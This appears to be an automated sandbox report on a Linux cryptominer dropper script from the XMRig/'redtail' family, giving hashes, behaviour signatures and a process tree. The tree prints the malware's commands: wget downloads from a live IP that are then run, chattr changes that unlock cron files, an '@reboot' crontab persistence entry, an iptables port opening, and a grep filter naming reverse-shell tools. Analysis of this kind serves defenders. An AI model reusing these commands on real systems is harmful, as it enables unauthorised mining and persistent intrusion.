Analysis
-
max time kernel
150s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
-
submitted
24-11-2024 07:06
General
-
Target
sh.sh
-
Size
1KB
-
MD5
5a86127d998b5c3496802959ac0a3d11
-
SHA1
21d05b5a016cdd8245e24778e479bf6330867c3f
-
SHA256
aed29398112ad074b8fd8a2e25020fb01db1f8cdaff86326222529dbeba5746b
-
SHA512
3270ff6b4bb0dde62180e605a7fc114497df627c8cb5cb4865040e9d287123a4b4855d4e6e386757e9bba0b57f1ef02fb1d81204bfc83612ac87a109962b6e98
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (75894) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
XMRig Miner payload 1 IoCs
-
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
-
Attempts to change immutable files 24 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
-
UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Changes its process name 1 IoCs
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 27 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/sh.sh/tmp/sh.sh1⤵
-
/bin/grepgrep noexec2⤵
-
-
/bin/catcat /proc/mounts2⤵
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/findfind / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"2⤵
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/unameuname -mp2⤵
-
-
/usr/bin/touchtouch .testfile2⤵
-
-
/bin/dddd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"2⤵
-
-
/bin/rmrm -rf .testfile .testfile22⤵
-
-
/usr/bin/wgetwget http://45.202.35.190/clean2⤵
-
-
/bin/chmodchmod +x clean2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh clean2⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl disable c3pool_miner3⤵
-
-
/bin/systemctlsystemctl stop c3pool_miner3⤵
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/crontabs3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/crontab3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apt-compat3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/bsdmainutils3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/dpkg3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/exim4-base3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/logrotate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/passwd3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.d3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/anacrontab3⤵
-
-
/bin/rmrm -rf /tmp/sh.sh3⤵
-
-
/bin/rmrm -rf "/var/tmp/*"3⤵
-
-
/bin/rmrm -rf "/dev/shm/*"3⤵
-
-
-
/bin/rmrm -rf clean2⤵
-
-
/bin/rmrm -rf .redtail2⤵
-
-
/bin/grepgrep -q x86_642⤵
-
-
/bin/grepgrep -q amd642⤵
-
-
/bin/grepgrep -q "i[3456]86"2⤵
-
-
/bin/grepgrep -q armv82⤵
-
-
/bin/grepgrep -q aarch642⤵
-
-
/bin/grepgrep -q armv72⤵
-
-
/usr/bin/wgetwget http://45.202.35.190/arm72⤵
-
-
/bin/mvmv arm7 .redtail2⤵
-
-
/bin/chmodchmod +x .redtail2⤵
- File and Directory Permissions Modification
-
-
/.redtail./.redtail2⤵
- Executes dropped EXE
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "command -v crontab >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.redtail\" | crontab -"3⤵
-
/usr/bin/crontabcrontab -r4⤵
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "command -v php >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "command -v nginx >/dev/null 2>&1"3⤵
-
-
/bin/shsh -c "which apache2"3⤵
-
/usr/bin/whichwhich apache24⤵
-
-
-
/bin/shsh -c "which httpd"3⤵
-
/usr/bin/whichwhich httpd4⤵
-
-
-
/bin/shsh -c "iptables -I INPUT -p tcp --dport 35757 -j ACCEPT >/dev/null 2>&1"3⤵
- Attempts to change immutable files
-
/sbin/iptablesiptables -I INPUT -p tcp --dport 35757 -j ACCEPT4⤵
- Attempts to change immutable files
-
-
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.0MB
MD5b2d1236c286a3c0704224fe4105eca49
SHA17d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA2565647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
SHA512731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
-
Filesize
1.1MB
MD5045daa66263bfd467051c013e9222faf
SHA14b943b14526d7bf7be2b3e3f9af24d1f35015548
SHA256d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
SHA512bd684e0909793c05a34891f2ffe289e00b66c634d8059a9301274ef764aff38ae6d5c0c224228d11007b297e32e00749b40197f77f7fc48c44c50ef3651bc41f
-
Filesize
795B
MD5397ff5e54194072e6d8a44a0d8cc1b27
SHA142477b0c3b277b5e907b0a35c644f3291ed30a63
SHA256d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
SHA512ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74
-
Filesize
1KB
MD530e858769aacd9cc309502f8d5c6aa0f
SHA1927c06dd4d6cbb5ca02e9505011c8667c47f2d6e
SHA256eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
SHA512f7f6e70925afe54fc2fdaae13a750b3c49fde9fa59d80af321885d270112ebb2291f034037708f1ba8515f3e3e1ca0a493cd1e002895aa699c469e0365ccde3c
-
Filesize
3KB
MD502f33c9e59b27bcd241e488cd48de072
SHA19247eee9b2310d56455beccf41c577ba16b78e3d
SHA2562565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14
SHA5121eda274264320a72cd58462b6c8a7747990a7eedf836be730b51b92ea6b04a1005aed596f9b9d53c4c8a93001d112450d0c6d83dfe4eee4b91a671623662fb3d
-
Filesize
249B
MD5db990990933b6f56322725223f13c2bc
SHA1387303696a796e27f559c73679e979f2a538072d
SHA256777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1
SHA512a3764e580bcfe0b2100da8ff2a00bed4936cb2acc9985daef52fb0310a7ed3367a1944a355c3f1dbc92d82c82b54280926736f81bc138efb4f7df1814abee3b5
-
Filesize
722B
MD58f111d100ea459f68d333d63a8ef2205
SHA1077ca9c46a964de67c0f7765745d5c6f9e2065c3
SHA2560e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
SHA512d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb
-
Filesize
1KB
MD5bc4a71cbcaeed4179f25d798257fa980
SHA161445721d0b5d86ac0a8386a4ceef450118f4fbb
SHA2568eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
SHA512709badb4dd1a15a10b34f82d31ed4bbab81698190d2ec94e2ad3dcdc90d97b893eb61cde72f08e517a8beea08ec1d675385fd42a9e77530981b7d83c6bd3548c
-
Filesize
279B
MD5911a774fe040993b929504f3d9415ab3
SHA155ccc8e95097f005abf9f4d91a14394e6d0f5da5
SHA256340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
SHA5121eb8fd8dc6fd444ba2fa3ca7e863894cfb19383e5b20c700ed24aa615402340424d093a761632cf27a3e789ecd548ca972806e154161635da4f97b415d6fc64f
-
Filesize
193B
MD5e3b3ca44afc59948c8acff9b3260fe44
SHA1d1d3b70c2c323193703b00ef21840ccd968310bd
SHA2569054e98a8feb2a425262131f0e1de17d17f6a46eaa6362d5044c1289ed374f86
SHA512690259f17c7a15a9a4691a515be70868604122c5c70062221e1012e40345bfed9fb49f77271b8fb02bc6cc9c97eb446becd762314ae0a79818b720f51a6d9159
-
-